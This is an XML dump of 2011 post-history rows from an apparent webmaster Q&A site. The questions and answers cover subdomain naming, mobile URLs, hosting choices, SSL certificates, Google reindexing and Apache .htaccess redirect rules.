  <row Id="39154" PostHistoryTypeId="2" PostId="16438" RevisionGUID="46d85713-2c1f-4df8-a6c3-ce96a77d644f" CreationDate="2011-07-05T12:36:39.507" UserId="8354" Text="`www2` means that that you have been sent to their 2nd web server directly -- possibly they do not have load balancer properly configured .. or it is configured this way on purpose, so once redirected user stays there and not hitting balancer again.&#xD;&#xA;&#xD;&#xA;Shopping.com does it all the time (at least did it in the past).&#xD;&#xA;&#xD;&#xA;It also could mean that it is temporal redirect -- their main server is currently unable to handle the load (or not working completely) and you have been redirected to backup/secondary server for the time being. It is possible that if you visit this www2 URL next time (in few hours/days/weeks) you may be redirected back to their main web server (www)." />
  <row Id="39155" PostHistoryTypeId="2" PostId="16439" RevisionGUID="11140c93-6fd9-4eca-9919-35f81534c79d" CreationDate="2011-07-05T12:39:34.833" UserId="1643" Text="To answer the last question - if you have a domain then you can set up any subdomains you like www2.domain.com, www3.domain.com etc." />
  <row Id="39156" PostHistoryTypeId="2" PostId="16440" RevisionGUID="218e6a54-58c8-4e85-b387-82c3dbe06b71" CreationDate="2011-07-05T13:02:04.423" UserId="231" Text="&gt;**WWW prefix**&lt;br /&gt;&#xD;&#xA;Many domain names used for the World Wide Web begin with _www_ because of the long-standing practice of naming Internet hosts (servers) according to the services they provide. The hostname for a web server is often _www_, in the same way that it may be _ftp_ for an FTP server, and _news_ or _nntp_ for a USENET news server. These host names appear as Domain Name System (DNS) subdomain names, as in www.example.com. The use of 'www' as a subdomain name is not required by any technical or policy standard; indeed, the first ever web server was called `nxoc01.cern.ch`, and many web sites exist without it. Many established websites still use 'www', or they invent other subdomain names such as 'www2', 'secure', etc. Many such web servers are set up such that both the domain root (e.g., example.com) and the _www_ subdomain (e.g., www.example.com) refer to the same site; others require one form or the other, or they may map to different web sites.&#xD;&#xA;&#xD;&#xA;From here: http://en.wikipedia.org/wiki/World_Wide_Web#WWW_prefix" />
  <row Id="39157" PostHistoryTypeId="5" PostId="16436" RevisionGUID="ab53dbeb-6de6-415a-ac5a-adce70176c6c" CreationDate="2011-07-05T13:05:40.407" UserId="1253" Comment="Removed unnecessary link to website" Text="I'm currently developing a web application which has a lot of javascript working behind it.  Before I deploy it (which will take a couple of months), I want to make sure that it is atleast a bit secure in terms of attacks. &#xD;&#xA;&#xD;&#xA;I saw [this][1] link already but it doesn't have any resources that I could use to learn the 'art' of hacking. I don't want to exploit other sites, I just want to learn it to make my site safe. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/15966/is-it-necessary-for-a-web-developer-to-know-how-to-hack-website" />
  <row Id="39167" PostHistoryTypeId="17" PostId="16442" RevisionGUID="2db6d782-88ef-434b-8643-d086578bb3a4" CreationDate="2011-07-05T14:52:21.643" UserId="-1" Comment="from http://stackoverflow.com/questions/6583007/which-url-should-i-chose-for-mobile" Text="" />
  <row Id="39168" PostHistoryTypeId="2" PostId="16443" RevisionGUID="56a2a037-bccf-47f3-8311-a50ce11abd24" CreationDate="2011-07-05T13:01:41.517" UserDisplayName="Dennis Crane" Text="m.company.com is a preferable and relatively common approach." />
  <row Id="39169" PostHistoryTypeId="2" PostId="16442" RevisionGUID="2d56e1aa-8425-475a-9bd0-ce7a6181ad0f" CreationDate="2011-07-05T12:57:25.690" UserDisplayName="TommyG" Text="I was looking everywhere (as well as on Google's blog) and could not find a straight answer to this question: which URL is the best for mobile from an SEO perspective? Is there a difference between: &#xD;&#xA;&#xD;&#xA;m.company.com&#xD;&#xA;company.com/mobile&#xD;&#xA;etc...&#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="39170" PostHistoryTypeId="1" PostId="16442" RevisionGUID="2d56e1aa-8425-475a-9bd0-ce7a6181ad0f" CreationDate="2011-07-05T12:57:25.690" UserDisplayName="TommyG" Text="which URL should I chose for mobile?" />
  <row Id="39171" PostHistoryTypeId="3" PostId="16442" RevisionGUID="2d56e1aa-8425-475a-9bd0-ce7a6181ad0f" CreationDate="2011-07-05T12:57:25.690" UserDisplayName="TommyG" Text="&lt;url&gt;&lt;mobile&gt;&lt;seo&gt;" />
  <row Id="39172" PostHistoryTypeId="17" PostId="16443" RevisionGUID="cd145be0-d374-4b4b-b3f9-e9dc97df8faa" CreationDate="2011-07-05T14:52:21.643" UserId="-1" Comment="from http://stackoverflow.com/questions/6583007/which-url-should-i-chose-for-mobile" Text="" />
  <row Id="39173" PostHistoryTypeId="2" PostId="16444" RevisionGUID="44aa5c83-aae0-4f77-b4e1-34f0bc86a3e6" CreationDate="2011-07-05T14:58:41.337" UserId="6876" Text="If I am the owner of www.example.com that is hosted on one machine, is it technically possible to host www.example.com/subpage on different machine, with different IP?" />
  <row Id="39174" PostHistoryTypeId="1" PostId="16444" RevisionGUID="44aa5c83-aae0-4f77-b4e1-34f0bc86a3e6" CreationDate="2011-07-05T14:58:41.337" UserId="6876" Text="Can I host www.example.com/subpage on different machine?" />
  <row Id="39175" PostHistoryTypeId="3" PostId="16444" RevisionGUID="44aa5c83-aae0-4f77-b4e1-34f0bc86a3e6" CreationDate="2011-07-05T14:58:41.337" UserId="6876" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="39176" PostHistoryTypeId="2" PostId="16445" RevisionGUID="d80b32c6-8495-49b1-b8e9-41c22c4f6c79" CreationDate="2011-07-05T15:05:28.160" UserId="7588" Text="Follow one of the tutorials online for setting up mod_proxy:&#xD;&#xA;&#xD;&#xA;http://www.apachetutor.org/admin/reverseproxies" />
  <row Id="39177" PostHistoryTypeId="5" PostId="16406" RevisionGUID="dcfe2a65-1fe2-4145-af5e-31bd7ad55ca8" CreationDate="2011-07-05T15:16:56.680" UserId="1643" Comment="deleted 5 characters in body" Text="Most modern search engines like Google don't even read keywords Meta tag of the site and putting keywords in hidden div is definitely a bad idea. I agree with what Su said.&#xD;&#xA;&#xD;&#xA;Other ways are putting keywords in image alt tags, HTML page Title etc.&#xD;&#xA;&#xD;&#xA;For search engines the best keywords are one which other sites uses while linking to you. &#xD;&#xA;In other words the keywords in anchor tags `(&lt;a href)` are most useful.&#xD;&#xA;&#xD;&#xA;&gt; Always try to create pages for&#xD;&#xA;&gt; communities and not for search&#xD;&#xA;&gt; engines.&#xD;&#xA;" />
  <row Id="39178" PostHistoryTypeId="5" PostId="11545" RevisionGUID="77b70c25-b265-431c-a32f-56ecbd96ad66" CreationDate="2011-07-05T15:17:34.657" UserId="4118" Comment="format numbered list" Text="I have a website, wich i will fill with a bunch of useful videos.&#xD;&#xA;I've implemented an ads rotation engine for articles and will do so for videos.&#xD;&#xA;&#xD;&#xA;The next milestone is to decide, how video will be integrated.&#xD;&#xA;&#xD;&#xA;They are two ways:&#xD;&#xA;&#xD;&#xA;1. To host videos myself. Pros: complete freedom. Cons: need tens of gigabytes of storage; support for multiple formats to be crossbrowser and crossdevice.&#xD;&#xA;2. Use Youtube. Pros: Very simple to use; nothing to do.&#xD;&#xA;&#xD;&#xA;What are pros and cons for each way ?&#xD;&#xA;&#xD;&#xA;Some questions for YouTube:&#xD;&#xA;&#xD;&#xA;1. Will i be able to control playback of YouTube-embedded video to make post-rolls ?&#xD;&#xA;2. What is ranking impact on my web-site, when most of pages will refer to YouTube ?&#xD;&#xA;3. Will, say, iPad play video, embedded via YouTube's iframe ?&#xD;&#xA;4. Does relying entirely on YouTube have a long-term perspective for a web-site, that should bring money ?" />
  <row Id="39179" PostHistoryTypeId="24" PostId="11545" RevisionGUID="77b70c25-b265-431c-a32f-56ecbd96ad66" CreationDate="2011-07-05T15:17:34.657" Comment="Proposed by 4118 approved by 108 edit id of 427" />
  <row Id="39180" PostHistoryTypeId="5" PostId="16435" RevisionGUID="c5f516b9-6375-46c4-a350-a6dd3ae534cd" CreationDate="2011-07-05T15:19:39.640" UserId="1643" Comment="Removed advertising of site. Question was asking about type of hosting, not for recommendations." Text="A good VPS setup is essentially a cloud setup. But as mentioned above most VPS services run on single beefed up servers.&#xD;&#xA;&#xD;&#xA;When choosing a cloud service get one that bill on monthly rather than daily or specific cycles. IF you have a high volume site it wont be that you get suspended but you get a bill you can never afford to pay. " />
  <row Id="39181" PostHistoryTypeId="25" PostId="16444" RevisionGUID="20bf7a48-fa6a-4349-a274-14feec3af568" CreationDate="2011-07-05T15:27:14.940" Comment="http://twitter.com/#!/StackWebmasters/status/88267703122542593" />
  <row Id="39182" PostHistoryTypeId="5" PostId="4017" RevisionGUID="a31e45e2-5fd0-45b0-8169-4deb5184736d" CreationDate="2011-07-05T16:57:23.887" UserId="1429" Comment="added 289 characters in body" Text="- http://www.qualityhostonline.com in US&#xD;&#xA;&#xD;&#xA;- http://www.eukhost.com in EUROPE (server in UK)&#xD;&#xA;&#xD;&#xA;I'm being happy with these two.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;**eukhost.com got worst and worst, continuous downtimes** I complained and also bought a more expensive plan so I should be supposed to get a better uptime, but nothing! I'm definitely gonna change and find a new webhoster in EU soon. The qualityhostonline.com is still superlative!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39183" PostHistoryTypeId="5" PostId="10871" RevisionGUID="95dc90a6-f027-41f1-bc55-5923ed6ffabe" CreationDate="2011-07-05T17:00:43.730" UserId="1429" Comment="added 309 characters in body" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhost.com (server really in UK, I tried to ping them from UE and I'm using their services. I can't say I'm unhappy, some downtimes yes, but I bought the absolute cheapest plan, so it might be that more expensive plans work better.)&#xD;&#xA;&#xD;&#xA; - http://www.webhostingbuzz.co.uk (they told me their server is in Amsterdam, I never used their services, but when I try to ping them from UE the average response time does not seem to be of a server in Amsterdam, but more far away like a US server.)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;**eukhost.com got worst and worst, continuous downtimes** I complained and also bought a more expensive plan so I should be supposed to get a better uptime, but nothing! I'm definitely gonna change and find a new webhoster in EU soon. The qualityhostonline.com is still superlative!&#xD;&#xA;" />
  <row Id="39184" PostHistoryTypeId="4" PostId="2434" RevisionGUID="d6dca103-3e90-494a-a328-1f03fc237308" CreationDate="2011-07-05T17:07:00.697" UserId="1429" Comment="edited title" Text="Where are advantages and disadvantages in using VPS hosting vs standard Web hosting services ?" />
  <row Id="39185" PostHistoryTypeId="5" PostId="2436" RevisionGUID="3262192f-3470-41cf-8d7a-265b0a2a263c" CreationDate="2011-07-05T17:10:51.800" UserId="1429" Comment="deleted 16 characters in body" Text="Great question,:&#xD;&#xA;&#xD;&#xA;**VPS ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;since you are more in control with the server, it's a virtual, but still you can manage it as a full server. You have **full root access**, full control and therefore you can do almost whatever you want installing anything you like, even stuff that is not provided the web hosting plans of the same provider, you **could remove the control panel and install another one** (i.e. removing cPanel and install webmin or remove totally a control panel and **manage the server by yourself changing manually the configuration**). You could repolace the webmail interface with another one (i.e. remove Squirrelmail, and install something else).&#xD;&#xA;You can **change root Apache config .https.conf and root php.ini config**.&#xD;&#xA;&#xD;&#xA;**VPS DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you **MUST KNOW how to manage a server**, getting such know how it's very time consuming, you need to learn and study carefully. You screw up something on a VPS and you risk to see it DOWN, or even worst, up and running but with dozens of SECURITY HOLES.&#xD;&#xA;It's usually **more expensive** than a web hosting plan, but not always more expensive than a web hosting reseller plan.&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you are in control only of what is already installed on the plan by the provider (i.e. cPanel for managing, Squirrelmail as a web mail), even if you can still install your scripts and many third parties stuff. It's **much easier to manage**, and more difficult to be completely screwed up. If server is down or there are security holes it's not your fault you simply open a ticket and complain to the webhoster, he will have to take care about it.&#xD;&#xA;You can **rewrite also Apache config for spcific folder using the .htaccess file**. Also **php.ini config can be rewritten on a directories basis** cause most web hoster install suPHP that let you rewrite php.ini config using a php.ini file in the directory you want it to be modified.&#xD;&#xA;It's definietly **cheaper**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;if you want to change something at an higher level (like changing the contorl panel) you can't. You can NOT change root Apache config .https.conf and root php.ini config.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Anyway there is still something missing here, and I'm missing it too.&#xD;&#xA;Many hoster are now selling FULLY MANAGED VPS, according to their policies these type of plans have teh advantages of WEBHOSTING/RESELER because if you screw up something they lokk up at it and they also prepare the server for you, so iot seems you don't require so much know how, but simply to be careful not to put your hands where you shouldn't.&#xD;&#xA;&#xD;&#xA;Actually I tried to ask a **similar question** on [serverfault][1] you can find there also **links to other similar questions** that might help you too.&#xD;&#xA;&#xD;&#xA;IMHO i don't understand **what's the catch for some hosters to push the VPS against the WEBHOSTING RESELLER plans**. Some hosters are even selling **FULLY MANAGED VPS at CHEAPER prices than RESELLER plans**. It seems bizarre because if I buy a VPS I'm probably going to open many more tickets to ask this&amp;that and to ask them to fix/change something for me compared the the amount of tickets I could open with WEBHOSTING RESELLER plan.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/167859/hosting-cpanel-reseller-vs-cpanel-fully-managed-vps" />
  <row Id="39186" PostHistoryTypeId="2" PostId="16446" RevisionGUID="0b8c0cfd-f78c-4fc6-b8ee-67524d9705ba" CreationDate="2011-07-05T17:37:32.180" UserId="4994" Text="I have a project where I am migrating a website from one platform to another, but the look and feel will still be the same (this is for standardization within an organization). &#xD;&#xA;&#xD;&#xA;Through re-write rules, I have to maintain any of the links which someone could have bookmarked. The practical implication is that I have to inventory every link and make sure it goes to the right place on the new site. &#xD;&#xA;&#xD;&#xA;Since there are often multiple paths to the same pages, I've found that site mapping software that do a hierarchical tree aren't giving me everything I need. The ones I've tried so far just show me the first, shortest path that landed them on that page. What I want to see is the inter-connectedness of the site -- if 5 pages all link to the sales page, I want to see that. &#xD;&#xA;&#xD;&#xA;Is there a site-mapping software, preferably open source, what will show me the 'many-to-many' relationship of the site's pages, rather than the 'parent-child' hierarchy of navigation?" />
  <row Id="39187" PostHistoryTypeId="1" PostId="16446" RevisionGUID="0b8c0cfd-f78c-4fc6-b8ee-67524d9705ba" CreationDate="2011-07-05T17:37:32.180" UserId="4994" Text="software for mapping links for site migration?" />
  <row Id="39188" PostHistoryTypeId="3" PostId="16446" RevisionGUID="0b8c0cfd-f78c-4fc6-b8ee-67524d9705ba" CreationDate="2011-07-05T17:37:32.180" UserId="4994" Text="&lt;sitemap&gt;" />
  <row Id="39189" PostHistoryTypeId="2" PostId="16447" RevisionGUID="d0dd6220-7167-4b16-a56a-29f3c8fa42cc" CreationDate="2011-07-05T17:47:43.480" UserId="4994" Text="When you have a domain name, you can set up any prefix you want. &#xD;&#xA;&#xD;&#xA;Domain names preceded the world wide web, so back in the day, `whatever.edu` didn't necessarily mean a website. If there was a gopher server there, it was probably pointed to `gopher.whatever.edu` -- likewise with `telnet.whatever.edu`, `ftp.whatever.edu`, etc. It was common practice to prefix the domain name with whatever services was being offered there. So when the world wide web came along, it became common practice to prefix the web server with `www`. &#xD;&#xA;&#xD;&#xA;Then, after time, since most people accessed only the website and not telnet or gopher services, administrators made it so that whatever.edu pointed to the webserver directly, and the www became optional. &#xD;&#xA;&#xD;&#xA;So long story short, you can prefix your domain names with whatever you want. `www2` is what wisc just wanted to point this service to, for whatever reason. They could have called it `2ndwebsite.biotech.wisc.edu` if they wanted." />
  <row Id="39190" PostHistoryTypeId="2" PostId="16448" RevisionGUID="0c508cd0-5e6e-49a5-bf31-891d646e728c" CreationDate="2011-07-05T17:52:30.143" UserId="1429" Text="http://www.europeregistry.com is another one!" />
  <row Id="39191" PostHistoryTypeId="17" PostId="16449" RevisionGUID="172ce1f4-ab1f-4b85-9443-0f0cb040d672" CreationDate="2011-07-05T17:57:34.923" UserId="-1" Comment="from http://stackoverflow.com/questions/6586783/finally-is-it-bad-to-mention-words-around-sex-in-your-page" Text="" />
  <row Id="39192" PostHistoryTypeId="2" PostId="16449" RevisionGUID="7ac53f76-a616-485b-aa6e-7c6563bb8f9e" CreationDate="2011-07-05T17:52:25.567" UserDisplayName="PetrosZ" Text="Among other I run a humor site, developed in php. I have a custom search built where people search for everything under the sun.&#xD;&#xA;&#xD;&#xA;I have noticed that it helps me to have a &quot;Latest searches section&quot; where I list the latest searches performed.&#xD;&#xA;&#xD;&#xA;As you can understand I have a lot of searches that are &quot;naughty&quot;. Not because I have anything offensive on the site, but I guess it's what some people want to find. Most of the time what they actually find is jokes around the subject or some video of a stand up talking about the search item.&#xD;&#xA;&#xD;&#xA;The question I have is. Should I filter out these terms from my page? I am afraid that the site might get blocked from office firewalls and maybe banned by an advertising network (like adsense) just because some stupid robot found a term that thought in the sites' text.&#xD;&#xA;&#xD;&#xA;One thing that you might ask is: If the site is family safe, how come all these people search for &quot;naughty&quot; terms. 2 reasons.&#xD;&#xA;&#xD;&#xA; - Google. Many times people looking for something sexy linked to a strange object (e.g. sex and lion or dog or oak tree) end up to my site. Of course they don't find what they are looking for, so they hit search which is pre-filled with the term that led them to the site. After that the term goes in latest searches.&#xD;&#xA; - Whether A happens or just a users types in something &quot;naughty&quot;, this term's popularity is beeing reenforced by the fact that many people see it in latest searches, click on it and search for it again. So if someone searches for &quot;funny hat&quot; the term dissappears from latest searches within minutes. If he types something more spicy, other people click on it and it remains in the latest searches for hours.&#xD;&#xA;&#xD;&#xA;Once again I want to clarify that the site has ZERO nudity and it doesn't even have sexy videos. YouTube is way more sexier that my site.&#xD;&#xA;&#xD;&#xA;thanks for anyone spending the time to share his knowledge" />
  <row Id="39193" PostHistoryTypeId="1" PostId="16449" RevisionGUID="7ac53f76-a616-485b-aa6e-7c6563bb8f9e" CreationDate="2011-07-05T17:52:25.567" UserDisplayName="PetrosZ" Text="Finally is it bad to mention words around sex in your page?" />
  <row Id="39194" PostHistoryTypeId="3" PostId="16449" RevisionGUID="7ac53f76-a616-485b-aa6e-7c6563bb8f9e" CreationDate="2011-07-05T17:52:25.567" UserDisplayName="PetrosZ" Text="&lt;search&gt;&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="39195" PostHistoryTypeId="4" PostId="2434" RevisionGUID="98a59cf3-141b-423c-a1cd-6ab63409374a" CreationDate="2011-07-05T18:00:58.577" UserId="1429" Comment="edited title" Text="What are advantages and disadvantages in using VPS hosting vs standard Web hosting services?" />
  <row Id="39196" PostHistoryTypeId="2" PostId="16450" RevisionGUID="c1c16bd2-d2c2-4dc2-8a89-fd2831290b22" CreationDate="2011-07-05T18:03:18.167" UserId="1253" Text="I would think that this wouldn't affect your Adsense account since the actual content of your website is not sexual in nature. Additionally, having a word mentioned once or twice on a page, and sometimes not at all since newer searches can bump them off of the page, will have little impact on that page's relevancy for adult-related phrases.&#xD;&#xA;&#xD;&#xA;Having said that, I would recommend filtering out those words as they can only do you harm as you have suggested (filtering software blocking your site, etc). Since your site does not contain the kind of content implied by those search terms there is no reason to give those search terms prominent placement on your website." />
  <row Id="39197" PostHistoryTypeId="25" PostId="16449" RevisionGUID="4b43d33a-76d5-4c70-b801-746a5d7a136c" CreationDate="2011-07-05T18:27:15.960" Comment="http://twitter.com/#!/StackWebmasters/status/88313003216343040" />
  <row Id="39198" PostHistoryTypeId="5" PostId="16420" RevisionGUID="9061f195-110a-4d46-b7cf-3d3711c5ca0f" CreationDate="2011-07-05T18:41:24.930" UserId="3224" Comment="Forgot to add something." Text="Right now I have the following code to redirect all non-www URLs to www URLs:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^example.com&#xD;&#xA;    RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Besides that redirection, I also want to redirect all calls to /dev/ to dev.example.com. I've tried a bunch of different approaches but nothing has worked (the few that get close like ReplaceMatch will only redirect to the dev.example.com bit and will leave the rest as a query string).&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;EDIT: Here's the full .htaccess for the root folder (a few rewritten for privacy reasons):&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /404.html&#xD;&#xA;    AddType application/x-httpd-php .json&#xD;&#xA;    AddType application/x-httpd-php .xml&#xD;&#xA;    &#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # disables image hotlinking&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http://(.+\.)?example\.com/ [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !google\. [NC] &#xD;&#xA;    RewriteCond %{HTTP_REFERER} !search\?q=cache [NC]&#xD;&#xA;    RewriteRule .*\.(jpe?g|gif|bmp|png)$ - [F]&#xD;&#xA;    &#xD;&#xA;    # Stop htaccess rules from accessing these areas of the website.&#xD;&#xA;    RewriteRule ^(banner|boxart|cgi-bin|content|forums|includes|newsimages|newsimg|sidebar|union-files|google5e645385256c3a63.html) - [L]&#xD;&#xA;    &#xD;&#xA;    # Redirects /page URLs to /page/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_URI} !\.[^./]+$&#xD;&#xA;    RewriteCond %{REQUEST_URI} !/$&#xD;&#xA;    RewriteRule (.*) /$1/ [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # Redirect old URLs to their new URLs&#xD;&#xA;    RewriteRule ^reviews/badurl--43.html$ http://www.gamingunion.net/reviews/goodurl--43.html [R=301,NC]&#xD;&#xA;    &#xD;&#xA;    # Redirect non-WWW to WWW&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^example.com&#xD;&#xA;    RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]&#xD;&#xA;    RedirectMatch 301 ^/dev/(.*)$ http://dev.example.com/$1&#xD;&#xA;    &#xD;&#xA;    # URL Directory Redirects&#xD;&#xA;    RewriteRule ^([^/]*)/$ /index.php?p=$1&amp;urltype=slash [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/$ /index.php?p=$1&amp;urltype=slash [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)/$ /index.php?p=$1&amp;lv1d=$2 [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)/([^/]*)/$ /index.php?p=$1&amp;lv1d=$2&amp;lv2d=$3 [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)/([^/]*)/([^/]*)/$ /index.php?p=$1&amp;lv1d=$2&amp;lv2d=$3&amp;lv3d=$4 [L,QSA]&#xD;&#xA;    &#xD;&#xA;    # URL File Redirects&#xD;&#xA;    RewriteRule ^([^/]*)\.html$ /index.php?p=$1&amp;urltype=dot [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)\.html$ /index.php?p=$1&amp;lv1p=$2 [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)/([^/]*)\.html$ /index.php?p=$1&amp;lv1d=$2&amp;lv2p=$3 [L,QSA]&#xD;&#xA;    RewriteRule ^([^/]*)/([^/]*)/([^/]*)/([^/]*)\.html$ /index.php?p=$1&amp;lv1d=$2&amp;lv2d=$3&amp;lv3p=$4 [L,QSA]&#xD;&#xA;    &#xD;&#xA;    # For servers that support output compression, you should pick up a bit of speed but un-commenting the following lines.&#xD;&#xA;    php_flag zlib.output_compression On&#xD;&#xA;    php_value zlib.output_compression_level 5&#xD;&#xA;&#xD;&#xA;The one in /dev/ is basically the same as this one, except that it has a password protection bit at the top and has a few redirects for some image folders that only reside on the root of the server." />
  <row Id="39199" PostHistoryTypeId="2" PostId="16451" RevisionGUID="6e309b50-e3c2-4a70-8d1b-9add4b9d8724" CreationDate="2011-07-05T19:19:35.820" UserId="5727" Text="I just spend ages moving all static content to a cookiless domain to help performance, it seems to work great!  It got me thinking though, when I install SSL on my main site, am I also going to have to buy SSL on my cookieless domain to stop warning messages?" />
  <row Id="39200" PostHistoryTypeId="1" PostId="16451" RevisionGUID="6e309b50-e3c2-4a70-8d1b-9add4b9d8724" CreationDate="2011-07-05T19:19:35.820" UserId="5727" Text="2 SSL certificates?" />
  <row Id="39201" PostHistoryTypeId="3" PostId="16451" RevisionGUID="6e309b50-e3c2-4a70-8d1b-9add4b9d8724" CreationDate="2011-07-05T19:19:35.820" UserId="5727" Text="&lt;ssl&gt;" />
  <row Id="39202" PostHistoryTypeId="2" PostId="16452" RevisionGUID="9347beb6-32a8-4d24-8f8f-f3643d7ce625" CreationDate="2011-07-05T19:22:08.623" UserId="1253" Text="Yes. There are two ways you can do this:&#xD;&#xA;&#xD;&#xA;1. Get two SSL certificates: one for the main domain and one for the cookieless domain. This is the cheaper way to do this but also requires maintaining two SSL certificates.&#xD;&#xA;&#xD;&#xA;2. Get a [wildcard SSL certificate][1] and use it for the main domain and cookieless subdomain. (Obviously your static content needs to be on a subdomain of the main website). This is more expensive but only requires maintaining one SSL certificate and allows for future subdomains to also be secure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.godaddy.com/article/567" />
  <row Id="39203" PostHistoryTypeId="2" PostId="16453" RevisionGUID="e3a7e52e-dd27-43fa-9657-98a3b5e906b6" CreationDate="2011-07-05T19:37:34.383" UserId="6753" Text="I recently moved our company's site to WordPress. It was necessary since the old site's structure was poor at best. It's now been three weeks and the addresses listed in Google have not changed. They're simply 301 redirects that I set to the new pages.&#xD;&#xA;&#xD;&#xA;When I look at Google Analytics I'm finding that it is also referring to old page addresses as well. I've requested a re-index from Google once but it doesn't seem to have helped. I've also made adjustments in Google Webmasters.&#xD;&#xA;&#xD;&#xA;I'm forcing http://openeye.net and google lists www.openeye.net&lt;br /&gt;&#xD;&#xA;The product pages were www.openeye.net/products.asp and are now http://openeye.net/products&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to force Google to resolve this or do they eventually take care of it themselves? It's pretty terrible." />
  <row Id="39204" PostHistoryTypeId="1" PostId="16453" RevisionGUID="e3a7e52e-dd27-43fa-9657-98a3b5e906b6" CreationDate="2011-07-05T19:37:34.383" UserId="6753" Text="Google not detecting new page addresses after redesign" />
  <row Id="39205" PostHistoryTypeId="3" PostId="16453" RevisionGUID="e3a7e52e-dd27-43fa-9657-98a3b5e906b6" CreationDate="2011-07-05T19:37:34.383" UserId="6753" Text="&lt;seo&gt;&lt;google&gt;&lt;google-analytics&gt;&lt;indexing&gt;" />
  <row Id="39206" PostHistoryTypeId="2" PostId="16454" RevisionGUID="8acc8da8-733c-4c8d-9931-852fc207054f" CreationDate="2011-07-05T20:08:05.387" UserId="8354" Text="So .. you have more than 1 .htaccess file: one in the root folder and one in `/dev` folder.&#xD;&#xA;&#xD;&#xA;Where did you put rules from @Alex -- root or /dev .htaccess? Most likely in root. That is the reason why it did not worked.&#xD;&#xA;&#xD;&#xA;Thing is -- if Apache sees rewrite rules in lower level folder, it will NOT execute them from parent folder UNLESS your lower level .htaccess has `RewriteOptions inherit` line: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteoptions&#xD;&#xA;&#xD;&#xA;Now, you have added `RedirectMatch 301 ^/dev/(.*)$ http://dev.example.com/$1` into root .htaccess. This directive belongs to another module and gets executed anyway .. and it executes **after** mod_rewrite have already rewritten the URL. That's why you see **real** URLs after redirect.&#xD;&#xA;&#xD;&#xA;The rule below should work -- just put it into your **/dev/.htaccess**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^dev\.example\.com&#xD;&#xA;    RewriteRule ^dev/(.*)$ http://dev.example.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;It tells Apache to redirect if:&#xD;&#xA;&#xD;&#xA; - domain is not dev.example.com&#xD;&#xA; - URL starts with `/dev/` (which will only happened if requested via main domain)&#xD;&#xA;" />
  <row Id="39207" PostHistoryTypeId="2" PostId="16455" RevisionGUID="531d4b82-8838-45b4-8115-a96924b03d1a" CreationDate="2011-07-05T20:10:14.807" UserId="8812" Text="Google eventually correct all of these &quot;dead links&quot; after some (or a lot of) time.&#xD;&#xA;&#xD;&#xA;You should use Google Analytics, as you have already done, and [Google Webmastertools][2], where you can do much more change reporting to Google.&#xD;&#xA;&#xD;&#xA;Apart from this, you just have to wait. And it may take some time.&#xD;&#xA;But I think it is a problem that you have put a redirect script on every page that you say no longer works. Then the page is not entirely closed down and &quot;dead&quot; so it may take longer, before it is shut down from search engines.&#xD;&#xA;&#xD;&#xA;You can also choose to make an error page instead of redirecting or in addition, for example by using [.htaccess][3].&#xD;&#xA;This way, new users coming in via search engines to dead pages will be told the reason and refered to a working page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [3]: http://www.javascriptkit.com/howto/htaccess2.shtml" />
